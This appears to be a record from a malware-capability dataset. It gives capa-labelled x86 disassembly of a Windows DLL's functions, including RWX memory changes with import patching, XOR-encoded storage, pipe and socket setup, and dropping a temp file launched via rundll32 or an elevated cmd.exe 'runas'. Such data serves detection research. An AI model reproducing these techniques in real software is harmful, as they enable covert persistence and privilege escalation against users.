joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010880
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 4]
push eax
push 0x40
push 6
push esi
mov dword [esp + 0x14], 0
call ebx
test eax, eax
jne 0x100108a7
pop ebx
add esp, 8
ret
mov ecx, dword [esp + 0x10]
push edi
push ecx
push esi
call fcn.100106c0
add esp, 8
lea edx, [esp + 0xc]
push edx
mov edi, eax
mov eax, dword [esp + 0xc]
push eax
push 6
push esi
mov dword [esp + 0x1c], 0
call ebx
mov eax, edi
pop edi
pop ebx
add esp, 8
ret

Function at 0x100109b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0xc]
test ebp, ebp
jne 0x100109bf
xor eax, eax
pop ebp
pop ecx
ret
mov eax, dword [ebp + 0x3c]
mov eax, dword [eax + ebp + 0x80]
add eax, ebp
je 0x100109ba
push ebx
push esi
push edi
mov edi, eax
add eax, 0xc
cmp dword [eax], 0
mov dword [esp + 0x10], edi
je 0x10010aa3
mov edx, dword [eax]
mov esi, 0x1007e984
add edx, ebp
jmp 0x100109f0
movzx eax, byte [edx]
lea ecx, [eax - 0x41]
inc edx
cmp ecx, 0x19
ja 0x100109ff
add eax, 0x20
movzx ecx, byte [esi]
lea ebx, [ecx - 0x41]
inc esi
cmp ebx, 0x19
ja 0x10010a0e
add ecx, 0x20
test eax, eax
je 0x10010a16
cmp eax, ecx
je 0x100109f0
sub eax, ecx
je 0x10010a23
add edi, 0x14
mov dword [esp + 0x10], edi
jmp 0x10010a96
mov ecx, dword [edi]
mov eax, dword [edi + 0x10]
lea ebx, [eax + ebp]
mov edi, ecx
test ecx, ecx
jne 0x10010a33
mov edi, eax
mov eax, dword [edi + ebp]
add edi, ebp
test eax, eax
je 0x10010a8d
lea esp, [esp]
cmp eax, 0x80000000
jae 0x10010a80
mov ecx, dword [esp + 0x1c]
mov dl, byte [ecx]
lea esi, [eax + ebp + 2]
movzx eax, byte [esi]
movzx ebp, dl
sub eax, ebp
jne 0x10010a74
sub esi, ecx
lea ecx, [ecx]
test dl, dl
je 0x10010a74
mov dl, byte [ecx + 1]
movzx eax, byte [esi + ecx + 1]
inc ecx
movzx ebp, dl
sub eax, ebp
je 0x10010a60
test eax, eax
js 0x10010a7c
jg 0x10010a7c
je 0x10010aab
mov ebp, dword [esp + 0x18]
mov eax, dword [edi + 4]
add edi, 4
add ebx, 4
test eax, eax
jne 0x10010a40
add dword [esp + 0x10], 0x14
mov edi, dword [esp + 0x10]
cmp dword [edi + 0xc], 0
lea eax, [edi + 0xc]
jne 0x100109e2
pop edi
pop esi
pop ebx
xor eax, eax
pop ebp
pop ecx
ret
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [esp + 0x18]
push edx
push 0x40
push 4
push ebx
call esi
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push ebx
mov dword [ebx], eax
call esi
pop edi
pop esi
pop ebx
mov eax, 1
pop ebp
pop ecx
ret
Function at 0x10013920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0x14]
lea eax, [ebp + 0x18]
push esi
push eax
mov dword [esp + 0x1c], eax
call fcn.10020596
mov esi, eax
add esp, 4
test esi, esi
jne 0x1001393f
pop esi
pop ebp
ret
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
push edi
push ebp
mov eax, 1
push edx
lea edi, [esi + 0x18]
push edi
mov dword [esi], 0x3851ef13
mov dword [esi + 0xc], eax
mov dword [esi + 4], ecx
mov dword [esi + 8], eax
mov dword [esi + 0x10], ebp
call fcn.10025550
add esp, 0xc
test byte [esi + 8], 1
je 0x100139c1
push ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10020287
add esp, 4
xor ebx, ebx
call fcn.10020299
and eax, 0x800000ff
jns 0x10013998
dec eax
or eax, 0xffffff00
inc eax
mov byte [esi + ebx + 0x14], al
inc ebx
cmp ebx, 4
jb 0x10013985
xor eax, eax
pop ebx
test ebp, ebp
jle 0x100139c1
lea esp, [esp]
mov ecx, eax
and ecx, 3
mov dl, byte [ecx + esi + 0x14]
xor byte [eax + edi], dl
inc eax
cmp eax, ebp
jl 0x100139b0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
pop edi
mov dword [eax], ecx
mov eax, esi
pop esi
pop ebp
ret

Function at 0x100139e0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x20
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x24]
push esi
push edi
push 0
push 0
push 4
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10013a24
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.100201e8
add esp, 0x20
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esp + 8], eax
cmp eax, 0x18
jb 0x10013a79
push 0
push 0
push 0
push esi
call edi
push 0
lea eax, [esp + 0xc]
push eax
push 0x18
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013a79
cmp dword [esp + 0xc], 0x3851ef13
jne 0x10013a79
mov edx, dword [esp + 0x10]
cmp edx, dword [esp + 0x30]
jne 0x10013a79
cmp dword [esp + 0x18], 1
jge 0x10013aa9
push 0
push 0
push 0
push esi
call edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call edi
mov ecx, dword [esp + 0x34]
push 0
lea eax, [esp + 0xc]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x24]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.100201e8
add esp, 0x20
ret
Function at 0x10013ad0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 0x30
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x34]
push ebx
push ebp
push esi
push edi
push 0
push 0
push 3
push 0
push 1
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x60]
push closesocket
push eax
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10013b28
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.100201e8
add esp, 0x30
ret
xor edi, edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x20], eax
cmp eax, 0x18
jb 0x10013bde
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea edx, [esp + 0x24]
push edx
push 0x18
lea eax, [esp + 0x30]
push eax
push esi
call ebp
test eax, eax
je 0x10013bde
cmp dword [esp + 0x24], 0x3851ef13
jne 0x10013bde
mov ecx, dword [esp + 0x28]
cmp ecx, dword [esp + 0x48]
jne 0x10013bde
mov ebx, dword [esp + 0x34]
push ebx
call fcn.10020596
mov edi, eax
add esp, 4
test edi, edi
je 0x10013bde
push 0
lea edx, [esp + 0x14]
push edx
push ebx
push edi
push esi
mov dword [esp + 0x24], 0
call ebp
test eax, eax
je 0x10013bde
test byte [esp + 0x2c], 1
mov ecx, dword [esp + 0x10]
je 0x10013bc4
xor eax, eax
test ecx, ecx
je 0x10013bc4
mov edx, eax
and edx, 3
mov dl, byte [esp + edx + 0x38]
xor byte [eax + edi], dl
inc eax
cmp eax, ecx
jb 0x10013bb3
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x2c]
mov dword [eax], ecx
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
mov dword [ecx], edx
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x3c]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100201e8
add esp, 0x30
ret
Function at 0x10013c00
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov ebx, eax
xor edi, edi
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esp + 0x18]
push ecx
push edi
push ebx
push ebp
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp + 0xc]
cmp eax, 0x18
jb 0x10013ce1
push esi
push eax
call fcn.10020596
mov esi, eax
add esp, 4
test esi, esi
je 0x10013cd7
lea edx, [esp + 0x10]
push edx
push esi
lea eax, [esp + 0x1c]
push eax
push edi
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, dword [esp + 0x10]
cmp ebx, 0x18
jb 0x10013cce
cmp dword [esi], 0x3851ef13
jne 0x10013cce
mov ecx, dword [esi + 4]
cmp ecx, dword [esp + 0x20]
jne 0x10013cce
add ebx, 0xffffffe8
push ebx
call fcn.10020596
mov edi, eax
add esp, 4
test edi, edi
je 0x10013cce
push ebx
lea edx, [esi + 0x18]
push edx
push edi
call fcn.10025550
add esp, 0xc
test byte [esi + 8], 1
je 0x10013cb6
xor eax, eax
test ebx, ebx
jle 0x10013cb6
mov ecx, eax
and ecx, 3
mov dl, byte [ecx + esi + 0x14]
xor byte [eax + edi], dl
inc eax
cmp eax, ebx
jl 0x10013ca5
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov dword [eax], ebx
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov dword [edx], ecx
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
push esi
call fcn.100201f7
add esp, 4
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 8
ret
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10013cf0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x10
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
xor eax, eax
lea ecx, [esp + 8]
push ecx
push eax
lea edx, [esp + 0x14]
push edx
push eax
push edi
push ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], 1
call ebp
mov eax, dword [esp + 8]
cmp eax, 0x18
jb 0x10013d7d
push eax
call fcn.10020596
mov esi, eax
add esp, 4
test esi, esi
je 0x10013d7d
lea eax, [esp + 8]
push eax
push esi
lea ecx, [esp + 0x14]
push ecx
push 0
push edi
push ebx
call ebp
cmp dword [esp + 8], 0x18
mov dword [esp + 0x14], eax
jb 0x10013d6c
cmp dword [esi], 0x3851ef13
jne 0x10013d6c
mov edx, dword [esi + 4]
cmp edx, dword [esp + 0x1c]
jne 0x10013d6c
cmp dword [esi + 0xc], 1
jl 0x10013d6c
xor ebp, ebp
jmp 0x10013d70
mov ebp, dword [esp + 0x10]
push esi
call fcn.100201f7
add esp, 4
test ebp, ebp
je 0x10013d99
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push eax
push ecx
push 3
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
pop ebp
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
pop esi
pop ebp
add esp, 0x10
ret
Function at 0x10014450
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push str.c:_nNetLib.log
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100144be
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, edi
mov dword [esp + 4], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014490
push 0
lea ecx, [esp + 8]
push ecx
sub eax, edx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret
Function at 0x10014b30
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ecx
push ebp
push edi
mov edi, ecx
xor ebp, ebp
cmp dword [edi + 4], ebp
jne 0x10014b44
pop edi
xor eax, eax
pop ebp
pop ecx
ret 4
cmp dword [edi + 8], ebp
jne 0x10014b71
push 0x30
call fcn.10020d40
add esp, 4
cmp eax, ebp
je 0x10014b65
mov dword [eax + 0x20], ebp
mov dword [eax + 0x24], ebp
mov dword [eax + 0x28], ebp
mov dword [eax + 0x2c], ebp
jmp 0x10014b67
xor eax, eax
mov ecx, eax
mov dword [edi + 8], eax
call fcn.10015aa0
mov eax, dword [edi + 8]
push ebx
push eax
mov eax, dword [edi + 4]
push 0xbb8
push ebp
push ebp
push 0xff
push ebp
push 0x40000003
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10014ba2
pop ebx
pop edi
xor eax, eax
pop ebp
pop ecx
ret 4
xor ecx, ecx
push esi
mov esi, dword [esp + 0x18]
cmp esi, ebp
setne cl
mov dword [esp + 0x18], ebp
mov dword [esp + 0x10], ecx
cmp esi, ebp
jne 0x10014bfa
push ebp
push 0xa0
push ebp
call fcn.1001b470
add esp, 0xc
cmp eax, ebp
je 0x10014be0
mov dword [eax + 0x34], ebp
mov dword [eax + 0x38], ebp
mov dword [eax + 0x3c], ebp
mov dword [eax + 0x40], ebp
mov dword [eax + 0x44], ebp
mov esi, eax
jmp 0x10014be2
xor esi, esi
test byte [edi + 0x74], 1
je 0x10014bf6
cmp esi, ebp
je 0x10014c64
lea edx, [edi + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp esi, ebp
je 0x10014c64
mov eax, esi
call fcn.10014400
mov dword [esi + 0x20], ebp
mov dword [esi + 0x14], edi
mov dword [esi + 0x24], 1
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x28], 2
mov eax, dword [edi]
mov edx, dword [eax + 0x14]
push esi
mov ecx, edi
call edx
push ebp
push 0x10014520
push ebx
call dword [sym.imp.KERNEL32.dll_BindIoCompletionCallback]
test eax, eax
je 0x10014c57
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x10014c79
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x10014c79
push ebx
call dword [sym.imp.KERNEL32.dll_CancelIo]
mov dword [esp + 0x18], ebp
cmp dword [esp + 0x10], ebp
jne 0x10014c64
mov eax, edi
call fcn.10015440
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x18]
mov eax, esi
pop esi
pop ebx
pop edi
pop ebp
pop ecx
ret 4
add edi, 0x64
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, esi
pop esi
pop ebx
pop edi
pop ebp
pop ecx
ret 4
Function at 0x10014ca0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
sub esp, 8
push ebp
push esi
push edi
push 1
push 0
push 0
push 6
push 1
push 2
mov esi, eax
mov edi, ecx
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10014ccc
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 8
ret
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [esp + 0x14]
push eax
push 0xffffff7f
push 0xffff
push ebp
mov dword [esp + 0x24], 0
call ebx
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 6
push ebp
mov dword [esp + 0x28], 1
call ebx
cmp eax, 0xffffffff
je 0x10014d52
xor ebx, ebx
cmp esi, ebx
jne 0x10014d63
push ebx
push 0xa0
push ebx
call fcn.1001b470
add esp, 0xc
cmp eax, ebx
je 0x10014d36
mov dword [eax + 0x34], ebx
mov dword [eax + 0x38], ebx
mov dword [eax + 0x3c], ebx
mov dword [eax + 0x40], ebx
mov dword [eax + 0x44], ebx
mov esi, eax
jmp 0x10014d38
xor esi, esi
test byte [edi + 0x74], 1
je 0x10014d4e
cmp esi, ebx
je 0x10014d52
lea edx, [edi + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor ebx, ebx
cmp esi, ebx
jne 0x10014d63
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 8
ret
mov eax, esi
call fcn.10014400
mov dword [esi + 0x14], edi
mov dword [esi + 0x1c], ebp
mov dword [esi + 0x24], 1
lea ebx, [esi + 0x28]
mov dword [ebx], 2
mov eax, dword [edi]
mov edx, dword [eax + 0x14]
push esi
mov ecx, edi
call edx
mov edx, dword [edi + 0x14]
push esi
lea eax, [esi + 0x9c]
push eax
mov eax, dword [edi + 0xc]
push 0x20
push 0x20
push 0
lea ecx, [esi + 0x5c]
push ecx
push ebp
push edx
call eax
mov ebp, eax
test ebp, ebp
jne 0x10014dd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x10014dd1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov eax, edi
call fcn.10015440
pop ebx
pop edi
pop esi
mov eax, ebp
pop ebp
add esp, 8
ret
add edi, 0x5c
push edi
mov ebp, 1
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
pop ebx
pop edi
pop esi
mov eax, ebp
pop ebp
add esp, 8
ret
Function at 0x10014ed0
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, eax
test edi, edi
jne 0x10014ede
or eax, 0xffffffff
pop edi
ret 4
mov eax, dword [esp + 8]
push esi
push edi
push eax
push ecx
call fcn.10014df0
mov esi, eax
test esi, esi
jne 0x10014ef9
lea eax, [esi - 2]
pop esi
pop edi
ret 4
mov edx, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
push ebx
push ebp
mov ebp, dword [edi + 0x1c]
push esi
lea edi, [esi + 0x34]
push edi
push edx
push eax
mov dword [edi], 0
mov dword [esi + 0x24], 3
lea ebx, [esi + 0x28]
push ebp
mov dword [ebx], 2
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10014f30
mov edi, dword [edi]
jmp 0x10014f62
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x10014f4d
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edi, 0xfffffffd
jmp 0x10014f62
push 0x3e8
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10014f62
mov edi, 0xfffffffc
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop ebp
pop ebx
test eax, eax
jne 0x10014f78
push esi
call fcn.1001b930
add esp, 4
pop esi
mov eax, edi
pop edi
ret 4

Function at 0x10014f80
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
mov esi, eax
test esi, esi
jne 0x10014f90
or eax, 0xffffffff
pop esi
pop ecx
ret 4
cmp dword [esi + 0x24], 2
jne 0x10014f9d
xor eax, eax
pop esi
pop ecx
ret 4
mov al, byte [esi + 0x4c]
push ebx
push ebp
push edi
mov dword [esi + 0x24], 5
test al, al
jne 0x10014fb3
mov edi, dword [esi + 0x50]
jmp 0x10014fbf
mov cl, byte [esi + 0x4d]
cmp cl, al
jle 0x10014fbc
mov al, cl
movsx edi, al
call fcn.100153c0
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea edi, [esi + 0x28]
push edi
xor ebp, ebp
call ebx
push edi
call ebx
cmp dword [esi + 0x58], 0xffffffff
jne 0x10014fe8
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x3c]
push esi
sub eax, ecx
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [esi + 0x34]
add eax, ecx
mov ecx, dword [esi + 0x1c]
push eax
push ecx
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x10015053
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x10015053
push edi
mov ebp, 0xfffffffd
call ebx
push edi
call ebx
push edi
call ebx
test eax, eax
jne 0x10015049
push esi
mov ecx, 0x10083b78
call fcn.10015480
pop edi
mov eax, ebp
pop ebp
pop ebx
pop esi
pop ecx
ret 4
mov edx, dword [esi + 0x58]
push 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1001507b
mov eax, dword [esp + 0x18]
mov ebp, dword [esi + 0x44]
test eax, eax
je 0x10015037
mov ecx, dword [esi + 0x40]
add ecx, dword [esi + 0x34]
mov dword [eax], ecx
jmp 0x10015037
cmp eax, 0x102
je 0x10015037
mov ebp, 0xfffffffc
jmp 0x10015037
Function at 0x10015090
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push esi
mov esi, eax
lea ebx, [esi + 0x28]
push ebx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
test eax, eax
jg 0x100150b8
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop esi
xor eax, eax
pop ebx
pop ecx
ret
push edi
mov edi, 0x200
mov dword [esi + 0x24], 2
call fcn.100153c0
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x3c]
push esi
sub eax, ecx
lea edx, [esp + 0x10]
push edx
push eax
mov eax, dword [esi + 0x34]
add eax, ecx
mov ecx, dword [esi + 0x1c]
push eax
push ecx
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
pop edi
test esi, esi
jne 0x1001511e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1001510c
cmp eax, 0xea
jne 0x10015117
mov esi, 1
mov eax, esi
pop esi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov eax, esi
pop esi
pop ebx
pop ecx
ret
Function at 0x10016130
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a0
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x19c], eax
push esi
push edi
mov edi, ecx
lea eax, [edi + 8]
push eax
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10016178
test esi, esi
je 0x10016178
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [edi + 0x48]
xor ecx, ecx
push 0x18e
push ecx
lea edx, [esp + 0x1a]
push edx
mov dword [esp + 0x18], esi
mov word [esp + 0x1c], cx
call fcn.10025370
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
add edi, 0x4c
jne 0x100161c1
lea ecx, [esp + 0xc]
push ecx
call fcn.10017740
mov esi, dword [esp + 0x10]
add esp, 4
mov edi, eax
call fcn.10017830
test eax, eax
jns 0x100161df
push esi
push edi
call fcn.100165f0
add esp, 8
test eax, eax
jns 0x100161df
mov eax, edi
call fcn.10016200
mov ecx, dword [esp + 0x1a4]
pop edi
pop esi
xor ecx, esp
call fcn.100201e8
mov esp, ebp
pop ebp
ret

Function at 0x10016200
Capabilities:
Create thread
Terminate process

Disassembly:
push edi
mov edi, eax
push esi
call fcn.100176a0
add esp, 4
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10016243
push esi
mov ecx, edi
call fcn.10016440
add esp, 4
test eax, eax
jne 0x10016248
push eax
push eax
push eax
push 0x10016260
push eax
push eax
mov dword [0x100831ac], edi
mov dword [0x100831b0], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10016248
call fcn.10017450
call fcn.10017630
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10016440
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x418
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x414], eax
push esi
push edi
lea eax, [esp + 0xc]
push eax
push 0x103
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x214]
push ecx
push 0
push 0
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100164c9
mov edx, dword [esp + 0x424]
push 0
lea ecx, [esp + 0xc]
push ecx
push edx
push edi
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 0x3c]
mov ecx, 0x2000
test word [eax + edi + 0x16], cx
je 0x10016515
lea eax, [esp + 0x214]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x100164e2
mov edx, dword [0x1007eca8]
mov ecx, dword [0x1007ecac]
push 0
mov dword [eax], edx
push 0
lea edx, [esp + 0x21c]
push edx
mov dword [eax + 4], ecx
push str.rundll32.exe
jmp 0x100165bf
xor eax, eax
jmp 0x10016520
movzx ecx, word [eax + str._c_start]
mov word [esp + eax + 0xc], cx
add eax, 2
test cx, cx
jne 0x10016520
lea eax, [esp + 0x214]
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10016540
lea edi, [esp + 0xc]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10016554
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x10016580
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10016580
mov ecx, dword [str._admin]
mov edx, dword [0x1007ecf0]
mov dword [eax], ecx
mov ecx, dword [0x1007ecf4]
mov dword [eax + 4], edx
mov dx, word [0x1007ecf8]
push 0
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
push 0
lea eax, [esp + 0x14]
push eax
push str.cmd.exe
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x41c]
neg eax
pop edi
sbb eax, eax
pop esi
xor ecx, esp
inc eax
call fcn.100201e8
add esp, 0x418
ret